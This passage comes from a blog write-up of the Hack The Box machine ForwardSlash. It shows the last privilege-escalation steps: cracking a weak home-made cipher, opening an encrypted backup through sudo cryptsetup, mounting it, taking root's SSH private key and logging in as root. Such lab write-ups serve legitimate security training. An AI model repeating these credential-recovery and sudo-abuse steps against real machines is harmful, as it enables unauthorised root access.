        msg = decrypt(key, ciphertext)
        if 'the ' in msg or 'be ' in msg or 'and ' in msg or 'of ' in msg :
        	exit("Key: {0}, Msg: {2}".format(key, len(key), msg))

After running the script we got the key , and the message.

Output of the script

1
2
➜  forwardslash python2 decrypt.py 
Key: ttttttttttttttttt, Msg: Hl��vF��;�������&you liked my new encryption tool, pretty secure huh, anyway here is the key to the encrypted image from /var/backups/recovery: cB!6%sdH8Lj^@Y*$C2cf

And the key ttttttttttttttttt and as i expected there i encrypted image for /var/backups/recovery and we got a password cB!6%sdH8Lj^@Y*$C2cf for the images too , Now we can map the images using cryptsetup As we can run it with root.

Here is the encrypted_backup.img

1
2
3
4
5
pain@forwardslash:/var/backups/recovery$ ls -la
total 976576
drwxrwx--- 2 root backupoperator       4096 May 27  2019 .
drwxr-xr-x 3 root root                 4096 Mar 24 10:10 ..
-rw-r----- 1 root backupoperator 1000000000 Apr 21 16:01 encrypted_backup.img

we can map encrypted_backup.img with cryptsetup in /dev/mapper/backup

1
2
3
pain@forwardslash:~$ sudo /sbin/cryptsetup luksOpen /var/backups/recovery/encrypted_backup.img backup
Enter passphrase for /var/backups/recovery/encrypted_backup.img: 
pain@forwardslash:~$

Now we need to head towards /dev/mapper.To check for mapped images

1
2
3
4
5
pain@forwardslash:/dev/mapper$ ls -la
total 0
drwxr-xr-x  2 root root     100 Apr 21 15:56 .
drwxr-xr-x 18 root root    3940 Apr 21 15:56 ..
lrwxrwxrwx  1 root root       7 Apr 21 15:56 backup -> ../dm-1

Okay so its been created now we can mount the images to mnt dir .

1
2
pain@forwardslash:~$ mkdir mnt
pain@forwardslash:~$ sudo /bin/mount /dev/mapper/backup ./mnt/

And its get mounted to mnt dir.

Lets Check what we got !!!!!!!1

1
2
3
4
5
pain@forwardslash:~/mnt$ ls -la
total 8
drwxr-xr-x 2 root root   20 Mar 17 20:07 .
drwxr-xr-x 8 pain pain 4096 Apr 21 16:34 ..
-rw-r--r-- 1 root root 1675 May 27  2019 id_rsa

And we got a private ssh-keys for user root

![Id_rsa]/fc3efc98-2e39-4362-a947-742f099ec8fc/image-7.png)

And i can use them to login as root

Got root.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
➜  forwardslash ssh -i id_rsa root@forwardslash.htb 
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-91-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue Apr 21 16:39:39 UTC 2020

  System load:  0.0                Processes:            190
  Usage of /:   30.6% of 19.56GB   Users logged in:      1
  Memory usage: 11%                IP address for ens33: 10.10.10.183
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

16 packages can be updated.
0 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Tue Mar 24 12:11:46 2020 from 10.10.14.3
root@forwardslash:~# cat root.txt
018---------------------------622
root@forwardslash:~# 

And we pwned it …….

If u liked the writeup.Support a Poor Student to Get the OSCP-Cert on BuymeaCoffee

If you want to get notified as soon as i upload something new to my blog So just click on the bell icon you are seeing on the right side – > and allow push notification

Resources

Topic Details
PayloadAllTheThings php Wrapper PayloadAllTheThings
This post is licensed under CC BY 4.0 by the author.

Comments powered by Disqus.